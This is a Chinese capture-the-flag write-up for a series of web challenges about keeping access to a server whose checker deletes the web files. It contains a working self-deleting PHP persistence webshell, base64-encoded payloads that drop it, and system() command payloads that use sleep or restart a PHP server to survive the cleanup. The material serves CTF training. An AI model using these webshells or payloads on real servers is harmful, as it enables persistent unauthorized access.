web670-web676

源码

<?php

// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在

error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['action'];

switch($a){
    case 'cmd':
        eval($_POST['cmd']);
        break;
    case 'check':
        file_get_contents("http://checker/api/check");
        break;
    default:
        die('params not validate');
}

访问checker后具体执行操作没有代码🙃
根据其他人文章的猜测
服务器在监测到访问url后,就会写入flag,顺便删掉web目录所有文件。

echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *

想办法维持住权限。
使用不死马,让服务器删不掉

<?php
    ignore_user_abort(true);//设置客户端断开连接时是否中断脚本的执行
    set_time_limit(0);//表示长时间链接运行,不限制运行时间
    unlink(__FILE__);
    $file = 'shell.php';
    $code = '<?php @eval($_POST[1]);?>';
    while (1) {
        file_put_contents($file, $code);
        usleep(5000);
    }
?>

payload

cmd=file_put_contents('dontdie.php',base64_decode("PD9waHANCiAgICBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICB1bmxpbmsoX19GSUxFX18pOw0KICAgICRmaWxlID0gJ3NoZWxsLnBocCc7DQogICAgJGNvZGUgPSAnPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs%2FPic7DQogICAgd2hpbGUgKDEpIHsNCiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb2RlKTsNCiAgICAgICAgdXNsZWVwKDUwMDApOw0KICAgIH0NCj8%2B"));

上传之后第一次访问dontdie.php会一直转圈,再访问就会发现文件已经不在了。
连接shell.php

访问?action=check后,会发现shell.php依然存在。

web677

web678

web目录没有写权限,无法写入不死马
突然发现已经能执行php代码了,直击执行不死马不行吗😅
前面题目的payload可以换成(没试过,但应该可以)

cmd=eval(base64_decode('ICAgIGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KICAgIHNldF90aW1lX2xpbWl0KDApOw0KICAgICRmaWxlID0gJ3NoZWxsLnBocCc7DQogICAgJGNvZGUgPSAnPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs%2FPic7DQogICAgd2hpbGUgKDEpIHsNCiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb2RlKTsNCiAgICAgICAgdXNsZWVwKDUwMDApOw0KICAgIH0NCj8%2B'));

但因为不死马也是靠循环写文件实现的,所以这里还是不行。

考虑使用循环命令执行或者延迟执行例如sleep,check只会删掉所有文件,而不会删掉进程

cmd=system('while true;do cat /f*;done');
cmd=system('sleep 10;cat /f*');

大多数PHP环境的最大执行时间是30秒

这里使用sleep方法

##web679

check后会关掉web服务

使用php -S命令开启web服务

cmd=system('sleep 10;ls > /dir;cd /;php -S 0.0.0.0:80');

把目录写入文件中,开启web服务后访问获取目录,再访问flag即可。

参考文章

https://blog.csdn.net/Jayjay___/article/details/132387118
https://blog.csdn.net/miuzzx/article/details/125521430